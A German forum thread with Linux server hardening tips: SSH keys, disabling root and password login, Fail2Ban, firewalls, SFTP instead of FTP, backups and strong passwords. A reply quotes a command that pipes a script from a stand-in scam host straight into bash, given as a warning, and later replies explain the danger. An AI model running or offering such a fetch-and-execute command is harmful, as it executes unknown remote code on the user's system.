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    4. Linux-Server

    Sicherheit für euren Linuxserver

    • ExoTic
    • 28. August 2017 um 15:41
    • Erledigt
    • ExoTic
      Schüler
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      148
      • 28. August 2017 um 15:41
      • #1

      In diesem Beitrag möchten Finch und ich euch zeigen, wie ihr euren Linux-Server sicherer macht und ihn schützt. Heutzutage ist es sehr wichtig seine Serversysteme sicher zu halten, was jüngste Vorfälle bestätigen.

      Punkt 1.

      Seid nicht dumm und leichtgläubig!

      Viele Angriffe auf Computersysteme basieren nicht (nur) auf technischen Unzulänglichkeiten der Systeme, sondern nutzen Techniken des „Social Engineering“, also die Schwachstellen des Menschen. Eines der wichtigsten Werkzeuge gegen Computerkriminalität ist daher der eigene Verstand. Vertraut keinen Menschen einfach so und lasst niemanden, den ihr nicht vertraut, an eure Systeme.


      Punkt 2.

      Nutze kein Linux wenn du davon keine Ahnung hast. Wenn du unerfahren mit Linux bist, setze dir eine VM oder einen Docker Container auf deinem eigenen PC mit Debian, Ubuntu, CentOS oder einer anderen Linux Distribution auf. Damit kannst du dich erstmal in Linux einarbeiten. Installiere dir die VM aber ohne GUI, da du auf einem Server auch keine GUI nutzen solltest. Wenn Bedarf besteht kann ich gerne ein Tutorial machen wie man eine Linux VM auf dem eigenen PC aufsetzt.

      Punkt 3.

      Haltet euren Server aktuell!

      Macht regelmäßig „apt-get update && apt-get upgrade“ um Updates zu Installieren. Dafür empfehle ich immer die wichtigsten Services zu stoppen und nach dem Update den Server zu Rebooten.

      Punkt 4.

      Nutzt SSH Keys zum Verbinden auf euren Server.

      SSH Keys sind das sicherste um sich auf einen Linux Server zu verbinden.

      Spoiler anzeigen

      Downloadet und öffnet „PuTTYgen“ und generiert euch einen SSH Key.

      Kopiert nun den Teil aus „Public Key for pasting into OpenSSH authorized_keys file“. Öffnet eine SSH verbindung zu eurem Server und kopiert den Inhalt in die Datei „~/.ssh/authorized_keys“ mit einem Editor und speichert diese.

      Drückt nun auf „Save private Key“ und speichert die Datei an einen gewünschten Ort ab. Speichert zur Sicherheit ebenfalls den Public Key euch ab.

      Öffnet nun PuTTY und ladet euren Server und sucht Links in dem Menü nach „SSH“ dort findet ihr den Punkt „Auth“ in diesem könnt ihr ganz unten unter „Private Key file for authentication“ euren Private Key angeben. Nun könnt ihr euch mit eurem SSH Key anmelden ohne ein Passwort eingeben zu müssen.

      Wenn ihr einen SSH Key benutzt könnt ihr theoretisch die Anmeldung mit einem Passwort bei SSH verbieten.

      Spoiler anzeigen

      Öffnet dazu die Datei „/etc/ssh/sshd_config“ mit einem Editor eurer Wahl und ändert die Zeile „PasswordAuthentication yes“ in „PasswordAuthentication no“. Nun speichert die Datei und es ist nur noch möglich sich per SSH Key anzumelden.

      In der gleichen Datei könnt ihr noch den Login von dem User Account „Root“ deaktivieren was wir euch auch empfehlen würden. Dazu die Zeile „PermitRootLogin yes“ auf „PermitRootLogin no“ ändern.

      In einigen Fällen kann es jedoch sein, dass das anmelden per Passwort noch benötigt wird. Hierbei empfehlen wir euch „Fail2Ban“ zu installieren. Dies dient dazu IP-Adressen für eine bestimmte Zeit zu sperren die mehrfach das Passwort hintereinander falsch eingeben. Das macht das Bruteforcen eures SSH Zugangs unmöglich.

      Punkt 5.

      Legt euch User an.

      Macht so wenig wie möglich als Root User. Legt für jeden Dienst und Service den ihr auf dem Server laufen habt einen eigenen User an, dieser sollte auch nur die Rechte haben die der Dienst benötigt.

      Weiteres dazu findet ihr auf der Seite „https://wiki.ubuntuusers.de/adduser/“

      Punkt 6.

      Richtet die Firewall richtig ein.

      Bei vielen Hostern gibt es konfigurierbare Hardware Firewalls vor den Servern. Nehmt euch die Zeit und stellt diese richtig ein und öffnet nur Ports die ihr wirklich braucht. Stellt euch euer Hoster sowas nicht bereit nutzt dafür IPTables oder Shorewall. Wenn der Wunsch besteht kann ich dafür gerne auch ein Tutorial machen.

      Punkt 7.

      Nutzt kein FTP mehr.

      Das FTP (File Transfer Protocol) stammt aus einer Zeit vor dem World Wide Web und ist auch nicht für den Einsatz in diesem konzipiert worden. FTP bietet keinerlei Verschlüsselung und überträgt Passwörter und Dateien im Klartext. Nutzt also kein FTP um Dateien auf euren Server zu übertragen, die euch wichtig sind und worauf kein dritter Zugriff haben sollte. Für Sachen wie Arma3Sync ist ein FTP nötig um die Dateien hochzuladen. Dateien bereitstellen über einen Anonymous Account ist auch kein Problem bei FTP, solange die Dateien nicht Privat gehalten werden sollen.

      Nutzt für eure wichtigen Dateien SFTP. Dies ist eine verschlüsselte Variante von FTP. Um eine Verbindung damit herzustellen empfehle ich euch das nutzen von KiTTY statt PuTTY und WinSCP. Bei KiTTY ist es möglich direkt aus KiTTY heraus eine Verbindung über SSH mit WinSCP zu starten.

      Punkt 8.

      Erstellt Backups auf eurem PC.

      Dateien die nicht einfach irgendwo wieder Downloadbar sind sollten unbedingt gebackupt werden. Führt diese Backups regelmäßig manuell aus. Speichert dazu die Dateien auf eurem eigenen PC oder noch besser auf einem(r) USB-Stick/ Externen Festplatte.

      Punkt 9.

      Datenbanken.

      Datenbanken halten wichtige Dateien. Z.b. bei eurem Arma3 Server. Auch bei einer Datenbank sollte für jedem Dienst ein eigene Nutzer erstellt werden, der nur die Rechte hat die er benötigt. Generell sollten keine Änderungen an den Datensätzen in der Datenbank per Hand gemacht werden. Dafür sollte ein Programm oder eine Webapplikation genutzt werden.

      Muss auf die Datenbank extern zugegriffen werden sollten extra Nutzer erstellt werden die nur von der IP des externen Dienstes zugegriffen werden dürfen.

      Punkt 10.

      Passwörter.

      Nutzt kryptische Passwörter und einen Passwortmanager(z.B. KeePass). Ebenfalls nutzt für jeden Account / bzw egal wo ein Passwort gesetzt werden muss ein anderes. Dies dient dazu selbst wenn eines der Passwörter geknackt wird ist es nicht möglich auf andere Accounts zuzugreifen. Kryptische Passwörter sollte man nutzen weil diese nicht abzuleiten sind. Am besten 32 Stellen lang mit Klein- & Großbuchstaben, Zahlen und Sonderzeichen (z.B. „qk3ph9y3pL#WJKz9T8S3HE6pk&gm!?vQ“).


      Abschließend ist noch zu sagen, dass ihr immer selber für die Sicherheit eurer Systeme verantwortlich seid!

      Dieses Thema ist offen und wenn ihr noch weitere Anregungen, Vorschläge oder Fragen zu dem Thema habt könnt ihr gerne einen Beitrag schreiben oder mir eine PN schreiben.

      Rechtschreibfehler sind zur Belustigung des Lesers hinterlassen worden und können nicht auf die Inkompetenz des Verfassers zurück gewiesen werden :saint:

    • The C Stands for Cheese
      Gast
      • 28. August 2017 um 15:45
      • #2

      Noch eine kleine Ergänzung:

      Nicht Cremiger Befehl ist: Ein böser Befehl ist auch: curl -sSo- https://reallynoscam.com/noscam.sh | bash

    • AvirexDE
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      • 28. August 2017 um 15:49
      • #3

      Schön das ihr sotewas umsetzet hilft bestimmt einigen bei ihren Servern leider benutze ich kein Linux 8o

      ●●●▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄●●●

      ▀ Freundliche Grüße ▀

      giphy.gif

      ●●●▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄●●●

    • Finch
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      • 28. August 2017 um 15:50
      • #4

      @Pac kannst du das vielleicht noch genauer sagen was das ist und was man (nicht) damit machen sollte... Würde nur ungern erleben, dass das jemand falsch versteht und einfach Mal kopiert.

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    • The C Stands for Cheese
      Gast
      • 28. August 2017 um 15:56
      • #5
      Zitat von Finch

      @Pac kannst du das vielleicht noch genauer sagen was das ist und was man (nicht) damit machen sollte... Würde nur ungern erleben, dass das jemand falsch versteht und einfach Mal kopiert.

      Der Befehl Stream den Inhalt aus der .SH direkt in die Bash. Die .SH wird nicht gespeichert sondern direkt ausgeführt. Man weiß also nicht genau was in der .SH enthalten ist.

      Jemand könnte also nun ankommen, dir den Befehl geben und quasi sagen, "Nimm mal das, das Installiert dir XY". Am Ende ist das Root Passwort geändert und man ist ausgesperrt.

      Ich bin leider extrem schlecht im Erklären. Surry.

    • Finch
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      • 28. August 2017 um 20:18
      • #6

      Jaja, ist mir bekannt... Ich meinte eher, pack vor das Snippet oben doch noch ein Konkretes: Achtung, sowas ist Boese!

      Zitat


      Nicht Cremiger Befehl ist

      Checkt doch wieder keiner

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    • moeck
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      • 29. August 2017 um 12:39
      • #7

      Kleine Anmerkung meinerseits, es wurde zwar schon erwähnt aber benutzt _niemals_ wirklich _niemals_ root um einen Dienst zu starten. Linux Systeme verfolgen ein etwas anderes Benutzerkonzept als Windows. Unter Linux, darf ein User erstmal nichts bis er die Berechtigung bekommt. Hier kann man auch mehrere Benutzer einrichten, die zum Beispiel bestimmte Dienste neustarten dürfen aber sonst nichts weitermachen können. Des Weiteren kann man wunderbar mit cron arbeiten um bestimmte Dinge zu automatisieren.

      Ich habe bei meiner täglichen Arbeit mit einer Applikation zu tun, die auf 48 Tomcats (6 Server) und 20 Applikationsservern läuft. Hier haben wir sehr viele Sachen automatisiert und arbeiten viel mir NFS Mounts und NAS. Ich kann nur jedem der sich mit einem Arma Server auseinander setzt empfehlen sich auch mal die Linux Variante anzuschauen. Klar muss man sich vorher mit Linux befassen, da sonst so einiges schiefgehen kann. z.B Groß- und Kleinschreibung wird bei Linux unterschieden ;)

      In diesem Sinne einen schönen Nachmittag.

      Gruß,

      moeck

      Signatur? Was ist eine Signatur? Kann man das essen?

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      Ganz wichtig: [Leitfaden] Wie frage Ich richtig um Hilfe?

      Nicht zu vergessen [Tutorial/Selbst-Test] Sollte ich einen Life Server eröffnen ?

    • taker9999
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      • 29. August 2017 um 14:25
      • #8

      Ich habe zum Thema SSH noch etwas was ich Persönlich auch noch Recht gut finde. Das ganze wird ,wie ich finde, in diesem Video Ganz gut erklärt.

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      Rechtschreibfehler bitte in einen sack diesen Gut verschließen und in eine Schlucht werfen.:saint:

    • Finch
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      • 29. August 2017 um 14:26
      • #9

      Ich werde die Tage mal noch IpTables ein wenig erklären, damit auch jeder weis was es mit dieser dubiosen Firewall auf sich hat und wie man EINZELNE Ports und nicht alles auf macht ;)

      Dauert nur weil viel Stress zur Zeit.

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    • enoanot
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      Beiträge
      8
      • 28. Oktober 2017 um 15:02
      • #10

      Was ich auch noch hinzu fügen würde ist das man es unterbinden sollte sich als Root anzumelden. Dann FailtoBan sollte man installieren und richtig einstellen.

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